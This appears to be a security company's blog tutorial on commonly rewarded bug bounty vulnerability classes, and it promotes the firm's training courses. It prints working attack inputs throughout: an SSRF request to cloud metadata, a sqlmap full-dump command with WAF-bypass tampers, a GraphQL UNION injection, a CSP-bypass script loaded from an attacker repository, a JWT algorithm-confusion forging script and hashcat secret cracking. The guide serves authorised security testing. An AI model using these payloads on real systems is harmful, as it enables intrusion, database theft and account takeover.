Common Bug Bounty Vulnerabilities 2026

Bug bounty hunting is one of the few fields where curiosity, persistence, and technical depth translate directly into money. Whether you are just moving past the basics or already triaging your tenth report this month, understanding which vulnerability classes consistently pay out is the foundation of an efficient hunting methodology.

This guide walks through the most commonly rewarded bug bounty vulnerabilities, complete with real commands, Burp Suite configurations, and local LLM-assisted testing setups that professional researchers actually use. If you want structured mentorship beyond this post, the Redfox Cybersecurity Academy offers hands-on courses built around real-world offensive techniques.

Why Certain Vulnerabilities Dominate Bug Bounty Programs

Not all bugs pay equally. Programs consistently reward vulnerabilities that demonstrate real impact: data exposure, authentication bypass, privilege escalation, and server-side execution. Understanding the economics of a bug bounty program helps you prioritize where to spend your time.

The vulnerabilities covered below appear repeatedly across HackerOne, Bugcrowd, and private programs because they are genuinely hard to eliminate at scale. Modern applications are complex, teams ship fast, and security reviews get skipped. That is your window.

Setting Up Your Local LLM for Web Application and API Testing

Before diving into specific vulnerability classes, let us talk about tooling. A local LLM integrated into your workflow significantly accelerates payload generation, response analysis, and pattern recognition, without sending target data to external APIs.

Running Ollama with a Security-Tuned Model

# Install Ollama
curl -fsSL https://ollama.com/install.sh | sh

# Pull a capable model for code and security analysis
ollama pull mistral

# Run interactively
ollama run mistral


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Once Ollama is running, you can pipe HTTP responses from Burp Suite's Proxy into your local model for rapid triage. A simple Python wrapper handles this cleanly:

import requests
import sys

def analyze_response(response_body: str) -> str:
   payload = {
       "model": "mistral",
       "prompt": f"Analyze this HTTP response for security vulnerabilities. Be specific about injection points, information disclosure, and authentication weaknesses:\n\n{response_body}",
       "stream": False
   }
   r = requests.post("http://localhost:11434/api/generate", json=payload)
   return r.json()["response"]

if __name__ == "__main__":
   with open(sys.argv[1], "r") as f:
       body = f.read()
   print(analyze_response(body))


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Save your interesting Burp responses to disk and run this script against them. The LLM will often surface subtle issues that pattern matching tools miss, such as reflected values buried deep in JSON structures or JWT fields being included in log endpoints.

Insecure Direct Object Reference (IDOR)

IDOR remains the single most consistently rewarded vulnerability class in bug bounty programs. The reason is simple: it requires almost no exploitation complexity, but the business impact is high. Accessing another user's orders, invoices, messages, or personal data is a clear, demonstrable breach.

Finding IDOR with Burp Suite Intruder and Authz

The Authz extension for Burp Suite is indispensable for IDOR testing. Install it from the BApp Store, then configure two session tokens: one for your attacker account and one for the victim account.

The workflow is:

1. Browse authenticated actions as User A, capturing all requests with object identifiers.
2. Feed those requests to Authz with User B's session cookie.
3. Compare responses automatically for content-length and status code differences.

For numeric IDs, use Burp Intruder with a number sequence:

GET /api/v1/invoices/§1001§ HTTP/1.1
Host: target.com
Authorization: Bearer <attacker_token>


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Set the payload to a number list from 1000 to 1100 and grep responses for keywords like email, address, or total. A 200 response with another user's data is your finding.

For UUID-based systems, use the Turbo Intruder extension with a custom list of UUIDs harvested from other endpoints where object references leak.

Server-Side Request Forgery (SSRF)

SSRF vulnerabilities are high-value precisely because they can pivot into internal network access, cloud metadata theft, and in some architectures, remote code execution. They appear anywhere the application fetches a URL you control.

Basic SSRF Detection

POST /api/fetch-preview HTTP/1.1
Host: target.com
Content-Type: application/json

{"url": "http://169.254.169.254/latest/meta-data/"}


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If the application returns AWS metadata, you have a critical finding. Even a timeout or a different error response compared to an invalid URL is a signal worth pursuing.

Blind SSRF with Interactsh

For cases where output is not reflected, use Interactsh as your out-of-band callback server:

# Install interactsh-client
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest

# Start a listener
interactsh-client -server oast.pro -n 5


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Replace the URL in your request with your Interactsh subdomain. Any DNS or HTTP callback confirms the vulnerability. From there, test internal IP ranges and cloud provider metadata endpoints systematically.

If you want to build a comprehensive offensive testing skill set around SSRF and similar vulnerabilities, the Redfox Cybersecurity Academy has dedicated modules covering real-world exploitation chains.

SQL Injection in Modern APIs

SQL injection is not dead. It has simply moved. You will rarely find it in a classic form field anymore. Instead, it lives in API parameters, GraphQL queries, search filters, and mobile app endpoints that bypass the hardened frontend.

Detection with SQLMap Against API Endpoints

sqlmap -u "https://target.com/api/v2/products?category=electronics" \
 --headers="Authorization: Bearer <token>" \
 --dbms=mysql \
 --level=5 \
 --risk=3 \
 --batch \
 --dump-all \
 --exclude-sysdbs


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For POST-based APIs, use a saved request file:

# Save the request from Burp Suite as req.txt, then:
sqlmap -r req.txt --dbms=postgresql --technique=BEUSTQ --tamper=space2comment


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Tamper scripts matter when WAFs are in play. space2comment, between, and randomcase are often enough to bypass generic WAF rules without needing to write custom bypasses.

GraphQL Injection

GraphQL endpoints are a goldmine. Many teams apply SQL injection protections to REST endpoints but forget GraphQL resolvers entirely.

query {
 user(id: "1 UNION SELECT username, password FROM users--") {
   id
   name
   email
 }
}


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Use InQL (a Burp Suite extension) to auto-generate the full schema from an introspection query and identify every queryable field. Then fuzz each parameter systematically.

Cross-Site Scripting (XSS): Still Paying in 2026

Stored XSS in high-privilege contexts (admin panels, support ticket systems, exported PDFs rendered in browser) continues to earn solid payouts. Reflected XSS in modern applications requires bypassing Content Security Policy, which raises the skill floor but also raises the payout.

CSP Bypass Techniques

When a target has CSP enabled, check the policy carefully:

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.jsdelivr.net


If a whitelisted CDN hosts user-controlled files or older library versions with known gadgets, you can load malicious scripts through a trusted origin.

<script src="https://cdn.jsdelivr.net/gh/attacker/xss-payload@main/payload.js"></script>


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For DOM-based XSS, use the DOM Invader tool built into Burp Suite's browser. It automatically traces taint flow from sources like location.hash, document.referrer, and postMessage to dangerous sinks like innerHTML, eval, and document.write.

// Common sink pattern to look for in JavaScript review
document.getElementById("output").innerHTML = new URLSearchParams(location.search).get("msg");


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The Redfox Cybersecurity team regularly assists organizations in identifying and remediating XSS chains before they are discovered by external researchers.

Business Logic Vulnerabilities

No scanner finds these. Business logic flaws require you to understand what the application is supposed to do and then figure out how to make it do something it should not. Common patterns include:

• Negative quantity inputs in e-commerce flows
• Skipping payment steps by manipulating redirect parameters
• Reusing single-use discount codes through race conditions
• Privilege escalation by modifying role parameters in profile update requests

Race Condition Testing with Turbo Intruder

def queueRequests(target, wordlists):
   engine = RequestEngine(endpoint=target.endpoint,
                          concurrentConnections=20,
                          requestsPerConnection=100,
                          pipeline=False)

   for i in range(50):
       engine.queue(target.req, gate='race1')

   engine.openGate('race1')

def handleResponse(req, interesting):
   table.add(req)


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This pattern sends 50 simultaneous requests through the same gate, which is useful for testing whether a one-time coupon code or a single-use API token can be exploited through parallelism. A race condition in a referral bonus system or a cryptocurrency withdrawal endpoint can be a critical finding.

JWT Vulnerabilities and Authentication Bypass

JSON Web Tokens are misimplemented constantly. The classics still work: algorithm confusion, none algorithm acceptance, and weak signing secrets.

JWT Algorithm Confusion Attack

If the server uses RS256 but you have the public key, you can forge tokens signed with HS256 using the public key as the HMAC secret:

import jwt
import json

public_key = open("public.pem").read()

# Forge a token using the public key as HMAC secret
forged_token = jwt.encode(
   {"sub": "admin", "role": "superuser", "iat": 1700000000},
   public_key,
   algorithm="HS256"
)

print(forged_token)


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Use the JWT Editor extension in Burp Suite to test this directly from the Repeater tab. It has built-in support for algorithm confusion, embedded JWK injection, and brute-forcing weak secrets using hashcat:

hashcat -a 0 -m 16500 <jwt_token> /usr/share/wordlists/rockyou.txt


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Subdomain Takeover

Subdomain takeover vulnerabilities are low-hanging fruit in large programs. When a CNAME record points to an external service that no longer has the corresponding resource claimed, you can claim it yourself.

Enumeration and Detection Pipeline

# Enumerate subdomains
subfinder -d target.com -o subs.txt

# Check for dangling CNAMEs
cat subs.txt | httpx -silent -o live.txt

# Run nuclei takeover templates
nuclei -l live.txt -t ~/nuclei-templates/takeovers/ -o takeovers.txt


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Services commonly vulnerable to this include GitHub Pages, Heroku, Fastly, Shopify, and AWS S3 buckets. Once you identify a dangling CNAME, claim the resource on the third-party platform and serve a proof-of-concept HTML page to demonstrate impact.

API Security Testing: The Expanding Attack Surface

APIs are where bug bounty hunting is shifting. Mobile applications, microservices, and third-party integrations expose massive attack surfaces that are tested less frequently than traditional web interfaces.

Using Arjun for Hidden Parameter Discovery

arjun -u https://api.target.com/v1/user/profile \
 --headers "Authorization: Bearer <token>" \
 -m POST \
 --stable \
 -oJ output.json


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Hidden parameters often unlock debug modes, admin flags, or undocumented features. Combine Arjun with your local LLM setup to analyze the discovered parameters in context of the API's behavior.

For comprehensive API penetration testing support, Redfox Cybersecurity provides specialized API security assessments that mirror the techniques professional bug bounty hunters use.

Mass Assignment in REST APIs

When updating a user profile, try adding fields that should not be writable:

{
 "name": "Attacker",
 "email": "attacker@evil.com",
 "role": "admin",
 "is_verified": true,
 "credits": 99999
}


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If the server accepts and persists any of these extra fields, you have a mass assignment vulnerability. This is particularly common in Node.js applications using Mongoose or Express with body-parser configured without strict schema enforcement.

Writing Reports That Actually Get Paid

Technical skill gets you to the finding. Report quality determines whether it pays out at a high or low severity. A good report includes:

• A clear one-line summary of the vulnerability
• Step-by-step reproduction instructions
• The exact HTTP requests and responses demonstrating impact
• A business impact statement tied to real-world consequences
• A suggested remediation

Use Burp Suite's built-in report generation for request and response captures, but write the narrative sections yourself. Automated reports read like automated reports, and triage teams notice.

Final Thoughts

Bug bounty hunting rewards consistent, methodical research. The vulnerability classes covered here, IDOR, SSRF, SQL injection, XSS, business logic flaws, JWT weaknesses, subdomain takeovers, and API misconfigurations, are not going away. They appear in new applications every day because the underlying development pressures that create them have not changed.

Building depth in each of these areas, combined with a solid tooling setup using Burp Suite, local LLMs, and purpose-built CLI tools, puts you in a position to find issues that automated scanners and less experienced hunters walk past.

If you are looking to accelerate your progress through structured learning, the Redfox Cybersecurity Academy offers courses that go well beyond theory and into the practical, repeatable techniques that professional researchers use on real programs. And if your organization needs expert security testing from the same mindset, the Redfox Cybersecurity services team is ready to help.